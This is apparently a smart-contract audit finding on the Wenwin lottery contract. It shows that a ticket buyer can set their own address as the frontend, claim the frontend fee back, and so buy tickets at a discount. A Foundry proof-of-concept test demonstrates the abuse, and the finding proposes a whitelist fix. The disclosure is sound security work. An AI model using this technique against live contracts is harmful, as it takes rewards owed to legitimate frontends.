# Ticket buyer can set arbitrary frontend address and potentially buy tickets at a discounted rate

Protocol frontends are incentivized with a percentage of the ticket fee as a reward. However, as this is purely permissionless, any user buying tickets can set the frontend address as themselves to collect frontend rewards, and effectively buying tickets at a discounted rate.

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L110-L131

```solidity
function buyTickets(
    uint128[] calldata drawIds,
    uint120[] calldata tickets,
    address frontend,
    address referrer
)
    external
    override
    requireJackpotInitialized
    returns (uint256[] memory ticketIds)
{
    if (drawIds.length != tickets.length) {
        revert DrawsAndTicketsLenMismatch(drawIds.length, tickets.length);
    }
    ticketIds = new uint256[](tickets.length);
    for (uint256 i = 0; i < drawIds.length; ++i) {
        ticketIds[i] = registerTicket(drawIds[i], tickets[i], frontend, referrer);
    }
    referralRegisterTickets(currentDraw, referrer, msg.sender, tickets.length);
    frontendDueTicketSales[frontend] += tickets.length;
    rewardToken.safeTransferFrom(msg.sender, address(this), ticketPrice * tickets.length);
}
```

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L151-L157

```solidity
function claimRewards(LotteryRewardType rewardType) external override returns (uint256 claimedAmount) {
    address beneficiary = (rewardType == LotteryRewardType.FRONTEND) ? msg.sender : stakingRewardRecipient;
    claimedAmount = LotteryMath.calculateRewards(ticketPrice, dueTicketsSoldAndReset(beneficiary), rewardType);

    emit ClaimedRewards(beneficiary, claimedAmount, rewardType);
    rewardToken.safeTransfer(beneficiary, claimedAmount);
}
```

## Impact

A malicious account can set themselves as the frontend address to buy tickets at a discounted rate, gaining an advantage (a discount of 10% in the current protocol setup) over other users with good intentions that contribute to the protocol and pay the full fee.

## Proof of Concept

In the following test, a user sets themselves as the frontend address, claiming the frontend reward percentage back after buying the tickets.

```solidity
contract AuditTest is LotteryTestBase {
    function test_Lottery_buyTickets_BuyerSelfReferrer() public {
        address user = makeAddr("user");
        address frontend = user;

        vm.startPrank(user);

        // user buys ticket with their address as the referrer
        buySameTicketsWithFrontend(lottery.currentDraw(), uint120(0x0F), address(0), frontend, 1);

        // User claims back frontend rewards for themselves, effectively buying a ticket "with a discount"
        lottery.claimRewards(LotteryRewardType.FRONTEND);
        assertEq(rewardToken.balanceOf(user), TICKET_FRONTEND_FEE);

        vm.stopPrank();
    }
}
```

## Recommendation

Short term, evaluate the possibility of adding a frontend whitelist to ensure rewards are collected by valid frontends that contribute to the protocol.

In the long term this whitelist can be managed by a DAO or other voting scheme of protocol token holders in order to prevent damaging the permissionless capacity.
